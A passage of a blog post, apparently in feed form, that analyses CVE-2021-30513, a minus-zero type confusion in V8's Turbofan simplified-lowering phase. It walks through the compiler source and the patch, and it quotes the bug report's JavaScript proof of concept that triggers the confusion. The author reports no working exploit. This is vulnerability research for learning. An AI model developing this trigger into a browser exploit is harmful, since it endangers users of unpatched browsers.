    <span class="n">Node</span><span class="o">*</span> <span class="n">check_or</span> <span class="o">=</span> <span class="n">__</span> <span class="n">Int32LessThan</span><span class="p">(</span><span class="n">__</span> <span class="n">Word32Or</span><span class="p">(</span><span class="n">lhs</span><span class="p">,</span> <span class="n">rhs</span><span class="p">),</span> <span class="n">zero</span><span class="p">);</span>
    <span class="n">__</span> <span class="n">DeoptimizeIf</span><span class="p">(</span><span class="n">DeoptimizeReason</span><span class="o">::</span><span class="n">kMinusZero</span><span class="p">,</span> <span class="n">FeedbackSource</span><span class="p">(),</span> <span class="n">check_or</span><span class="p">,</span>
                    <span class="n">frame_state</span><span class="p">);</span>
    <span class="n">__</span> <span class="n">Goto</span><span class="p">(</span><span class="o">&amp;</span><span class="n">check_done</span><span class="p">);</span>

    <span class="n">__</span> <span class="n">Bind</span><span class="p">(</span><span class="o">&amp;</span><span class="n">check_done</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="n">value</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can see that if the <code class="language-plaintext highlighter-rouge">CheckForMinusZeroMode</code> is <code class="language-plaintext highlighter-rouge">CheckForMinusZero</code> (as it would be if we did end up with the <code class="language-plaintext highlighter-rouge">IdentifyZero</code> mode on our truncation), then we insert a deoptimize node which triggers should its output be -0.</p>

<p>This lack of checking is the bug, although it may be hard to understand at first. To this end, lets take a look at the patch, so we can understand why this is insufficient:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">-  void LowerToCheckedInt32Mul(Node* node, Truncation truncation,
-                              Type input0_type, Type input1_type) {
-    // If one of the inputs is positive and/or truncation is being applied,
-    // there is no need to return -0.
-    CheckForMinusZeroMode mz_mode =
-        truncation.IdentifiesZeroAndMinusZero() ||
-                IsSomePositiveOrderedNumber(input0_type) ||
-                IsSomePositiveOrderedNumber(input1_type)
-            ? CheckForMinusZeroMode::kDontCheckForMinusZero
-            : CheckForMinusZeroMode::kCheckForMinusZero;
-    ChangeOp(node, simplified()-&gt;CheckedInt32Mul(mz_mode));
</span><span class="gi">+  template &lt;Phase T&gt;
+  void VisitForCheckedInt32Mul(Node* node, Truncation truncation,
+                               Type input0_type, Type input1_type,
+                               UseInfo input_use) {
+    DCHECK_EQ(node-&gt;opcode(), IrOpcode::kSpeculativeNumberMultiply);
+    // A -0 input is impossible or will cause a deopt.
+    DCHECK(BothInputsAre(node, Type::Signed32()) ||
+           !input_use.truncation().IdentifiesZeroAndMinusZero());
+
+    CheckForMinusZeroMode mz_mode;
+    Type restriction;
+    if (IsSomePositiveOrderedNumber(input0_type) ||
+        IsSomePositiveOrderedNumber(input1_type)) {
+      mz_mode = CheckForMinusZeroMode::kDontCheckForMinusZero;
+      restriction = Type::Signed32();
+    } else if (truncation.IdentifiesZeroAndMinusZero()) {
+      mz_mode = CheckForMinusZeroMode::kDontCheckForMinusZero;
+      restriction = Type::Signed32OrMinusZero();
+    } else {
+      mz_mode = CheckForMinusZeroMode::kCheckForMinusZero;
+      restriction = Type::Signed32();
+    }
+
+    VisitBinop&lt;T&gt;(node, input_use, MachineRepresentation::kWord32, restriction);
+    if (lower&lt;T&gt;()) ChangeOp(node, simplified()-&gt;CheckedInt32Mul(mz_mode));
</span>   }
</code></pre></div></div>

<p>Now it should hopefully be apparent what is wrong; just checking if the current node is given the <code class="language-plaintext highlighter-rouge">IdentifiesZeroAndMinusZero</code> truncation is not sufficient to ensure that the node cannot have an output of -0 (obviously).</p>

<p>So what can we do with this? Well, since our new node will NOT check/deoptimize for -0 if we give our <code class="language-plaintext highlighter-rouge">SpeculativeNumberMultiply</code> node a <code class="language-plaintext highlighter-rouge">IdentifiesZeroAndMinusZero</code> truncation, we may be able to confuse the output of said node - Minus Zero and Signed32 are 2 entirely non-compatible types, and as such one will not survive intersection with the other.</p>

<p>Like I said earlier our node output is restricted to Signed32, and as such should not be able to transition from this - but since it doesnt deoptimize, nothing is stopping us. To show this a little better, heres the representation output from turbofan during the Retype phase:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#57:SpeculativeNumberMultiply[SignedSmall](#15:NumberConstant, #42:Phi, #69:LoadField, #38:Merge)  [Static type: (MinusZero | Range(0, 0)), Feedback type: Range(0, 0)]
 visit #57: SpeculativeNumberMultiply
  ==&gt; output kRepWord32
</code></pre></div></div>

<p>We can see that although the static type (this is the type computed by the actual typer phase, which will be the one displayed in turbolyzer) is correct, our feedback type (aka, the new type we just created during Retype) fails to include -0, owing to the intersection discussed earlier.</p>

<p>This of course begs the question - how does one give our node the required truncation? Some nodes will give this truncation to its inputs fairly readily. As discussed in the bug report, one such node is <code class="language-plaintext highlighter-rouge">SpeculativeSafeIntegerAdd</code>:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">template</span> <span class="o">&lt;</span><span class="n">Phase</span> <span class="n">T</span><span class="p">&gt;</span>
  <span class="kt">void</span> <span class="nf">VisitSpeculativeIntegerAdditiveOp</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">,</span> <span class="n">Truncation</span> <span class="n">truncation</span><span class="p">,</span>
                                         <span class="n">SimplifiedLowering</span><span class="o">*</span> <span class="n">lowering</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Type</span> <span class="n">left_upper</span> <span class="o">=</span> <span class="n">GetUpperBound</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
    <span class="n">Type</span> <span class="n">right_upper</span> <span class="o">=</span> <span class="n">GetUpperBound</span><span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">InputAt</span><span class="p">(</span><span class="mi">1</span><span class="p">));</span>

	<span class="c1">// [...]</span>
	<span class="n">Type</span> <span class="n">left_constraint_type</span> <span class="o">=</span>
        <span class="n">node</span><span class="o">-&gt;</span><span class="n">opcode</span><span class="p">()</span> <span class="o">==</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kSpeculativeSafeIntegerAdd</span>
            <span class="o">?</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32OrMinusZero</span><span class="p">()</span>
            <span class="o">:</span> <span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">left_upper</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">left_constraint_type</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
        <span class="n">right_upper</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Signed32OrMinusZero</span><span class="p">())</span> <span class="o">&amp;&amp;</span>
        <span class="p">(</span><span class="n">left_upper</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">())</span> <span class="o">||</span> <span class="n">right_upper</span><span class="p">.</span><span class="n">Is</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">Signed32</span><span class="p">())))</span> <span class="p">{</span>
      <span class="n">VisitBinop</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">UseInfo</span><span class="o">::</span><span class="n">TruncatingWord32</span><span class="p">(),</span>
                    <span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">,</span> <span class="n">restriction</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
      <span class="c1">// If the output's truncation is identify-zeros, we can pass it</span>
      <span class="c1">// along. Moreover, if the operation is addition and we know the</span>
      <span class="c1">// right-hand side is not minus zero, we do not have to distinguish</span>
      <span class="c1">// between 0 and -0.</span>
      <span class="n">IdentifyZeros</span> <span class="n">left_identify_zeros</span> <span class="o">=</span> <span class="n">truncation</span><span class="p">.</span><span class="n">identify_zeros</span><span class="p">();</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">opcode</span><span class="p">()</span> <span class="o">==</span> <span class="n">IrOpcode</span><span class="o">::</span><span class="n">kSpeculativeSafeIntegerAdd</span> <span class="o">&amp;&amp;</span>
          <span class="o">!</span><span class="n">right_feedback_type</span><span class="p">.</span><span class="n">Maybe</span><span class="p">(</span><span class="n">Type</span><span class="o">::</span><span class="n">MinusZero</span><span class="p">()))</span> <span class="p">{</span>
        <span class="n">left_identify_zeros</span> <span class="o">=</span> <span class="n">kIdentifyZeros</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">UseInfo</span> <span class="n">left_use</span> <span class="o">=</span> <span class="n">CheckedUseInfoAsWord32FromHint</span><span class="p">(</span><span class="n">hint</span><span class="p">,</span> <span class="n">FeedbackSource</span><span class="p">(),</span>
                                                        <span class="n">left_identify_zeros</span><span class="p">);</span>
      <span class="c1">// For CheckedInt32Add and CheckedInt32Sub, we don't need to do</span>
      <span class="c1">// a minus zero check for the right hand side, since we already</span>
      <span class="c1">// know that the left hand side is a proper Signed32 value,</span>
      <span class="c1">// potentially guarded by a check.</span>
      <span class="n">UseInfo</span> <span class="n">right_use</span> <span class="o">=</span> <span class="n">CheckedUseInfoAsWord32FromHint</span><span class="p">(</span><span class="n">hint</span><span class="p">,</span> <span class="n">FeedbackSource</span><span class="p">(),</span>
                                                         <span class="n">kIdentifyZeros</span><span class="p">);</span>
      <span class="n">VisitBinop</span><span class="o">&lt;</span><span class="n">T</span><span class="o">&gt;</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">left_use</span><span class="p">,</span> <span class="n">right_use</span><span class="p">,</span> <span class="n">MachineRepresentation</span><span class="o">::</span><span class="n">kWord32</span><span class="p">,</span>
                    <span class="n">restriction</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// [...]</span>

    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

</code></pre></div></div>

<p>We want to enter the <code class="language-plaintext highlighter-rouge">else</code> branch, because as you see it is here where the correct truncations/<code class="language-plaintext highlighter-rouge">UseInfo</code>’s are given out. The <code class="language-plaintext highlighter-rouge">right_use</code>  is automatically given the <code class="language-plaintext highlighter-rouge">kIdentifyZero</code> property, thus if our multiply node is on the right hand side, we can trigger our type confusion.</p>

<h2 id="putting-the-pieces-together">Putting the pieces together</h2>
<p>Here is the POC listed on the bug report:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">foo</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">y</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
  <span class="kd">var</span> <span class="nx">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">a</span> <span class="o">==</span> <span class="kc">NaN</span><span class="p">)</span> <span class="nx">z</span> <span class="o">=</span> <span class="kc">NaN</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">a</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="nx">y</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
    <span class="nx">z</span> <span class="o">=</span> <span class="o">-</span><span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="k">return</span> <span class="nb">Object</span><span class="p">.</span><span class="nx">is</span><span class="p">(</span><span class="nx">z</span> <span class="o">+</span> <span class="p">(</span><span class="nx">x</span> <span class="o">*</span> <span class="nx">y</span><span class="p">),</span> <span class="o">-</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">(</span><span class="kc">true</span><span class="p">));</span>
<span class="o">%</span><span class="nx">PrepareFunctionForOptimization</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
<span class="nx">foo</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="o">%</span><span class="nx">OptimizeFunctionOnNextCall</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
<span class="nx">foo</span><span class="p">(</span><span class="kc">false</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">(</span><span class="kc">true</span><span class="p">));</span>
</code></pre></div></div>

<p>Lets break it down piece by piece. First we have <code class="language-plaintext highlighter-rouge">if (a == NaN) z = NaN;</code>, this is so we can keep our <code class="language-plaintext highlighter-rouge">SpeculativeSafeIntegerAdd</code> node instead of just demoting to a regular <code class="language-plaintext highlighter-rouge">NumberAdd</code> node. If you scroll back up you can see this working in the <code class="language-plaintext highlighter-rouge">ReduceSpeculativeNumberBinop</code> function. This allows us to reach the correct code to pass on our truncation.</p>

<p>Next we add a switch so we can change the values on the fly, after this we trigger the bug.
The graph for the equation looks something like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
        ┌────────────────┐  ┌────────────────┐
        │Phi (-0 | 0)    │  │SpecNumMul      │
        └───────────────┬┘ ┌┴────────────────┘
                        │  │
                        │  │
                        │  │
                       ┌▼──▼────────────┐
                       │SpecSafeIntAdd  │
                       └────────────────┘

</code></pre></div></div>

<p>We can see our multiplication (<code class="language-plaintext highlighter-rouge">x * y</code>) on the right, if you remember from earlier this is the correct place for it to be to recieve the <code class="language-plaintext highlighter-rouge">IdentifyZero</code> truncation. On the other side is <code class="language-plaintext highlighter-rouge">z</code> which can be 0 OR -0. Taking another look at the representation output we can see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#58:SpeculativeSafeIntegerAdd[SignedSmall](#43:Phi, #57:SpeculativeNumberMultiply, #57:SpeculativeNumberMultiply, #38:Merge)  [Static type: (MinusZero | Range(0, 0)), Feedback type: Range(0, 0)]
 visit #58: SpeculativeSafeIntegerAdd
  ==&gt; output kRepWord32
</code></pre></div></div>

<p>Because of the incorrect feedback type generated by the multiply node, the output of the add node has also been confused, as it believes that the multiply can only produce 0, and <code class="language-plaintext highlighter-rouge">-0 + 0</code> or <code class="language-plaintext highlighter-rouge">0 + 0</code> will always be zero… BUT not <code class="language-plaintext highlighter-rouge">-0 + -0</code>.</p>

<h1 id="exploitation">Exploitation</h1>
<p>I tried a couple things, but haven’t yet found a way to exploit this - if you do have a method for this please reach out. If i end up finding a way, I’ll update this section.</p>

<p>There are a few ways you can differentiate between 0 and -0 which are relevant in a context like this, if you read the post linked at the beginning of the blog about <code class="language-plaintext highlighter-rouge">Math.expm1</code> then you know they are:</p>

<ul>
  <li>Object.is</li>
  <li>Math.atan2</li>
</ul>

<p><code class="language-plaintext highlighter-rouge">Object.is</code> being preferable, as the typing code for atan2 doesnt deal with -0.
However I havent found a way to meaningfully use this assumption for anything. Maybe you can :).</p>

<h1 id="closing-thoughts">Closing thoughts</h1>
<p>It feels great to put something up which might help someone else in their pursuit of understanding, though im not gonna pretend if you did read and understand Faraz’ blog you wouldnt be able to do this all yourself. I learned alot from analyzing this bug, and I hope you did too.</p>

<p>And damn, some typer bugs are ALOT harder to exploit that others.</p>

<p>Happy hacking.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Analyzing CVE-2021-30513 Blurb Hello again, its been more than just a few months, I know. But I didnt have anything to write about really - Im not gonna pretend my input is any more valuable than the hundreds of cool blog posts already out there (except when i do ;) ). Recently, i’ve been trying to understand as much about Turbofan as i can, specifically the typer and bugs relating to the typer. As a stepping stone to do this ive been looking through some older CVE’s - which is something i’d recommend anyone with a similar goal to do. The end goal of this being to find a bug through source review in either the typer OR in simplified-lowering phases. Anyway - this will most likely be a very, very long blog post. It also requires a lil’ bit of background knowledge on turbofan and V8 (that means a fuckton). I’m just gonna link the standard blog posts: Intro to turbofan Another great post by Jeremy Fetiveau A great companion piece to this, as it deals with a similar confusion not necessary reading, but would recommend as it lays out stuff better than I can. An awesome post by faraz, which looks in great depth at simplified-lowering (The last one is my fav). Now thats over with, lets look at the bug. The bug Lets start with the chrome bug report you can find the ccorrect checkout and extra details there. In SpeculativeNumberMultiply, a |Signed32| type restriction is placed on the feedback type of the node if both inputs are of type |Signed32| and the type hint is |kSignedSmall| [1]. While this is guarded by the |LowerToCheckedInt32Mul| function, the function will not deopt if the truncation is set to |kIdentifyZero| [2]. In this case, the feedback type of the node will be set to |Signed32| and will not deopt even if it becomes -0. Lets find the code being discussed - its inside the VisitNode function, which is inside simplified-lowering: case IrOpcode::kSpeculativeNumberMultiply: { // [...] // Try to use type feedback. NumberOperationHint hint = NumberOperationHintOf(node-&gt;op()); Type input0_type = TypeOf(node-&gt;InputAt(0)); Type input1_type = TypeOf(node-&gt;InputAt(1)); // Handle the case when no int32 checks on inputs are necessary // (but an overflow check is needed on the output). if (BothInputsAre(node, Type::Signed32())) { // If both inputs and feedback are int32, use the overflow op. if (hint == NumberOperationHint::kSignedSmall) { VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32, Type::Signed32()); if (lower&lt;T&gt;()) { // [1] Bug is in here LowerToCheckedInt32Mul(node, truncation, input0_type, input1_type); } return; } } // If both inputs not Signed32. But maybe one of them is? I imagine the bug could also be triggered from here. if (hint == NumberOperationHint::kSignedSmall) { VisitBinop&lt;T&gt;(node, CheckedUseInfoAsWord32FromHint(hint), MachineRepresentation::kWord32, Type::Signed32()); if (lower&lt;T&gt;()) { LowerToCheckedInt32Mul(node, truncation, input0_type, input1_type); } return; } // [...] return; } Reaching the code Firstly, the code is reached by generating a SpeculativeNumberMultiply node. How exactly is this done? Well generating a speculative node is actually the default for most (if not all) of the numerical bytecodes during the Graph Builder Phase: Node* TryBuildNumberBinop() { NumberOperationHint hint; if (GetBinaryNumberOperationHint(&amp;hint)) { const Operator* op = SpeculativeNumberOp(hint); Node* node = BuildSpeculativeOperation(op); return node; } return nullptr; } This function is then used to attempt construction of a speculative number node inside Js Type Hint lowering - but only if the type hint is correct (that is, the feedback is a numerical type, e.g SignedSmall): case IrOpcode::kJSBitwiseOr: case IrOpcode::kJSBitwiseXor: case IrOpcode::kJSBitwiseAnd: case IrOpcode::kJSShiftLeft: case IrOpcode::kJSShiftRight: case IrOpcode::kJSShiftRightLogical: case IrOpcode::kJSAdd: case IrOpcode::kJSSubtract: case IrOpcode::kJSMultiply: case IrOpcode::kJSDivide: case IrOpcode::kJSModulus: { // [...] if (Node* node = b.TryBuildNumberBinop()) { return LoweringResult::SideEffectFree(node, node, control); } // [...] break; } We can find the code which obtains this feedback and builds a basic multiply operation inside ignition: TNode&lt;Object&gt; BinaryOpAssembler::Generate_MultiplyWithFeedback( const LazyNode&lt;Context&gt;&amp; context, TNode&lt;Object&gt; lhs, TNode&lt;Object&gt; rhs, TNode&lt;UintPtrT&gt; slot_id, const LazyNode&lt;HeapObject&gt;&amp; maybe_feedback_vector, UpdateFeedbackMode update_feedback_mode, bool rhs_known_smi) { auto smiFunction = [=](TNode&lt;Smi&gt; lhs, TNode&lt;Smi&gt; rhs, TVariable&lt;Smi&gt;* var_type_feedback) { TNode&lt;Number&gt; result = SmiMul(lhs, rhs); *var_type_feedback = SelectSmiConstant( TaggedIsSmi(result), BinaryOperationFeedback::kSignedSmall, BinaryOperationFeedback::kNumber); return result; }; // [...] return Generate_BinaryOperationWithFeedback( // &lt;-------- [1] context, lhs, rhs, slot_id, maybe_feedback_vector, smiFunction, floatFunction, Operation::kMultiply, update_feedback_mode, rhs_known_smi); } Then at [1] we call into the function which will actually get the feedback for us: TNode&lt;Object&gt; BinaryOpAssembler::Generate_BinaryOperationWithFeedback( const LazyNode&lt;Context&gt;&amp; context, TNode&lt;Object&gt; lhs, TNode&lt;Object&gt; rhs, TNode&lt;UintPtrT&gt; slot_id, const LazyNode&lt;HeapObject&gt;&amp; maybe_feedback_vector, const SmiOperation&amp; smiOperation, const FloatOperation&amp; floatOperation, Operation op, UpdateFeedbackMode update_feedback_mode, bool rhs_known_smi) { Label do_float_operation(this), end(this), call_stub(this), check_rhsisoddball(this, Label::kDeferred), call_with_any_feedback(this), if_lhsisnotnumber(this, Label::kDeferred), if_both_bigint(this, Label::kDeferred); TVARIABLE(Float64T, var_float_lhs); TVARIABLE(Float64T, var_float_rhs); TVARIABLE(Smi, var_type_feedback); TVARIABLE(Object, var_result); Label if_lhsissmi(this); // If rhs is known to be an Smi (in the SubSmi, MulSmi, DivSmi, ModSmi // bytecode handlers) we want to fast path Smi operation. For the normal // operation, we want to fast path both Smi and Number operations, so this // path should not be marked as Deferred. // [...] // Check if the {lhs} is a Smi or a HeapObject. BIND(&amp;if_lhsissmi); { Comment("lhs is Smi"); TNode&lt;Smi&gt; lhs_smi = CAST(lhs); if (!rhs_known_smi) { // [...] BIND(&amp;if_rhsissmi); } { Comment("perform smi operation"); // [1] var_result = smiOperation(lhs_smi, CAST(rhs), &amp;var_type_feedback); UpdateFeedback(var_type_feedback.value(), maybe_feedback_vector(), slot_id, update_feedback_mode); Goto(&amp;end); } } The SignedSmall feedback is given only if the lhs and rhs of the multiplication are smi’s, in which case we call into the smiFunction (@ [1]) created in Generate_MultiplyWithFeedback. Nice. Returning to SpeculativeNumberMultiply, there is one more thing we need to be aware of - typed optimization. Under certain circumstances after typing of nodes is complete, the next phase, (typed optimization) will attempt to lower our Speculative node to a simpler version with less overhead: Reduction TypedOptimization::ReduceSpeculativeNumberBinop(Node* node) { Node* const lhs = NodeProperties::GetValueInput(node, 0); Node* const rhs = NodeProperties::GetValueInput(node, 1); Type const lhs_type = NodeProperties::GetType(lhs); Type const rhs_type = NodeProperties::GetType(rhs); NumberOperationHint hint = NumberOperationHintOf(node-&gt;op()); if ((hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball) &amp;&amp; BothAre(lhs_type, rhs_type, Type::NumberOrUndefinedOrNullOrBoolean())) { // We intentionally do this only in the Number and NumberOrOddball hint case // because simplified lowering of these speculative ops may do some clever // reductions in the other cases. Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs); Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs); Node* const value = graph()-&gt;NewNode( NumberOpFromSpeculativeNumberOp(simplified(), node-&gt;op()), toNum_lhs, toNum_rhs); ReplaceWithValue(node, value); return Replace(value); } return NoChange(); } We can see here, that if our hint is NOT kNumber, then we can bypass the reduction of the node. Which thankfully will always be the case if we keep our hint == SignedSmall, and our inputs are not both NumberOrUndefinedOrNullOrBoolean. If this and all the previous facts align, then we can enter the kSpeculativeNumberMultiply case in simplified-lowering. Good. Now lets take a look deeper. Wheres the bug? To enter the next bit of code and trigger the bug, both inputs to our node must be of type Signed32, and our feedback must be SignedSmall: NumberOperationHint hint = NumberOperationHintOf(node-&gt;op()); Type input0_type = TypeOf(node-&gt;InputAt(0)); Type input1_type = TypeOf(node-&gt;InputAt(1)); // Handle the case when no int32 checks on inputs are necessary // (but an overflow check is needed on the output). if (BothInputsAre(node, Type::Signed32())) { // If both inputs and feedback are int32, use the overflow op. if (hint == NumberOperationHint::kSignedSmall) { VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32, Type::Signed32()); if (lower&lt;T&gt;()) { // [1] Bug is in here LowerToCheckedInt32Mul(node, truncation, input0_type, input1_type); } return; } } If this is the case, we visit this node - and depending on what sub-phase we will do a few different things: Simplified-lowering overview Truncation Propogation phase: Add the provided UseInfo truncation of this node into both of its inputs. This pertains to things like how the input will be used and whether or not the current node should identify or distinguish zeros (will talk at length about this later). Retype phase: Change the output type of the node to match the supplied representation, also intersect the nodes output type with the supplied restriction type - making sure that the new type will not exceed/differ from the restriction type. Lowering phase: Make sure that the node after this recieves the output from this node in the correct format - to this end we may insert a conversion node between this and the next so it is recieved in the correct format (this is done based on the UseInfo). This is stuff which is covered at length in Faraz’ blog post, so I wont discuss it much more - the one key takeaway is that the nodes type WILL adhere to the restriction type specified in the VisitBinop call (Signed32). Moving on, if we are in the lowering phase (aka, the final phase of simplified-lowering) we enter the LowerToCheckedInt32Mul function: void LowerToCheckedInt32Mul(Node* node, Truncation truncation, Type input0_type, Type input1_type) { // If one of the inputs is positive and/or truncation is being applied, // there is no need to return -0. // Read the above, basically if the truncation identifies -0 (rather than distinguishing it), we set the CheckForMinusZero to kDontCheckForMinusZero CheckForMinusZeroMode mz_mode = truncation.IdentifiesZeroAndMinusZero() || IsSomePositiveOrderedNumber(input0_type) || IsSomePositiveOrderedNumber(input1_type) ? CheckForMinusZeroMode::kDontCheckForMinusZero : CheckForMinusZeroMode::kCheckForMinusZero; ChangeOp(node, simplified()-&gt;CheckedInt32Mul(mz_mode)); } We can see that IF the node happens to have a truncation which IdentifiesZeroAndMinusZero, then we set the mz_mode to DontCheckForMinusZero, and pass this mode into new CheckedInt32Mul node which will replace our Speculative node. Before I talk about this further, its probably best to mention the key difference between 0 and -0 in V8. 0 is a part of the Signed32 type, whereas -0 is entirely its own, and as such has some different behaviours. Inside of a node’s truncation, the IdentifyZero’s can have 2 values: enum IdentifyZeros { kIdentifyZeros, kDistinguishZeros }; The former, which we have already talked about is used to show when a node doesn’t need to care about differences between 0 and -0, as we can see inside the code responsible for lowering the CheckedInt32Mul node: Node* EffectControlLinearizer::LowerCheckedInt32Mul(Node* node, Node* frame_state) { CheckForMinusZeroMode mode = CheckMinusZeroModeOf(node-&gt;op()); Node* lhs = node-&gt;InputAt(0); Node* rhs = node-&gt;InputAt(1); Node* projection = __ Int32MulWithOverflow(lhs, rhs); Node* check = __ Projection(1, projection); __ DeoptimizeIf(DeoptimizeReason::kOverflow, FeedbackSource(), check, frame_state); Node* value = __ Projection(0, projection); if (mode == CheckForMinusZeroMode::kCheckForMinusZero) { auto if_zero = __ MakeDeferredLabel(); auto check_done = __ MakeLabel(); Node* zero = __ Int32Constant(0); Node* check_zero = __ Word32Equal(value, zero); __ GotoIf(check_zero, &amp;if_zero); __ Goto(&amp;check_done); __ Bind(&amp;if_zero); // We may need to return negative zero. Node* check_or = __ Int32LessThan(__ Word32Or(lhs, rhs), zero); __ DeoptimizeIf(DeoptimizeReason::kMinusZero, FeedbackSource(), check_or, frame_state); __ Goto(&amp;check_done); __ Bind(&amp;check_done); } return value; } We can see that if the CheckForMinusZeroMode is CheckForMinusZero (as it would be if we did end up with the IdentifyZero mode on our truncation), then we insert a deoptimize node which triggers should its output be -0. This lack of checking is the bug, although it may be hard to understand at first. To this end, lets take a look at the patch, so we can understand why this is insufficient: - void LowerToCheckedInt32Mul(Node* node, Truncation truncation, - Type input0_type, Type input1_type) { - // If one of the inputs is positive and/or truncation is being applied, - // there is no need to return -0. - CheckForMinusZeroMode mz_mode = - truncation.IdentifiesZeroAndMinusZero() || - IsSomePositiveOrderedNumber(input0_type) || - IsSomePositiveOrderedNumber(input1_type) - ? CheckForMinusZeroMode::kDontCheckForMinusZero - : CheckForMinusZeroMode::kCheckForMinusZero; - ChangeOp(node, simplified()-&gt;CheckedInt32Mul(mz_mode)); + template &lt;Phase T&gt; + void VisitForCheckedInt32Mul(Node* node, Truncation truncation, + Type input0_type, Type input1_type, + UseInfo input_use) { + DCHECK_EQ(node-&gt;opcode(), IrOpcode::kSpeculativeNumberMultiply); + // A -0 input is impossible or will cause a deopt. + DCHECK(BothInputsAre(node, Type::Signed32()) || + !input_use.truncation().IdentifiesZeroAndMinusZero()); + + CheckForMinusZeroMode mz_mode; + Type restriction; + if (IsSomePositiveOrderedNumber(input0_type) || + IsSomePositiveOrderedNumber(input1_type)) { + mz_mode = CheckForMinusZeroMode::kDontCheckForMinusZero; + restriction = Type::Signed32(); + } else if (truncation.IdentifiesZeroAndMinusZero()) { + mz_mode = CheckForMinusZeroMode::kDontCheckForMinusZero; + restriction = Type::Signed32OrMinusZero(); + } else { + mz_mode = CheckForMinusZeroMode::kCheckForMinusZero; + restriction = Type::Signed32(); + } + + VisitBinop&lt;T&gt;(node, input_use, MachineRepresentation::kWord32, restriction); + if (lower&lt;T&gt;()) ChangeOp(node, simplified()-&gt;CheckedInt32Mul(mz_mode)); } Now it should hopefully be apparent what is wrong; just checking if the current node is given the IdentifiesZeroAndMinusZero truncation is not sufficient to ensure that the node cannot have an output of -0 (obviously). So what can we do with this? Well, since our new node will NOT check/deoptimize for -0 if we give our SpeculativeNumberMultiply node a IdentifiesZeroAndMinusZero truncation, we may be able to confuse the output of said node - Minus Zero and Signed32 are 2 entirely non-compatible types, and as such one will not survive intersection with the other. Like I said earlier our node output is restricted to Signed32, and as such should not be able to transition from this - but since it doesnt deoptimize, nothing is stopping us. To show this a little better, heres the representation output from turbofan during the Retype phase: #57:SpeculativeNumberMultiply[SignedSmall](#15:NumberConstant, #42:Phi, #69:LoadField, #38:Merge) [Static type: (MinusZero | Range(0, 0)), Feedback type: Range(0, 0)] visit #57: SpeculativeNumberMultiply ==&gt; output kRepWord32 We can see that although the static type (this is the type computed by the actual typer phase, which will be the one displayed in turbolyzer) is correct, our feedback type (aka, the new type we just created during Retype) fails to include -0, owing to the intersection discussed earlier. This of course begs the question - how does one give our node the required truncation? Some nodes will give this truncation to its inputs fairly readily. As discussed in the bug report, one such node is SpeculativeSafeIntegerAdd: template &lt;Phase T&gt; void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation, SimplifiedLowering* lowering) { Type left_upper = GetUpperBound(node-&gt;InputAt(0)); Type right_upper = 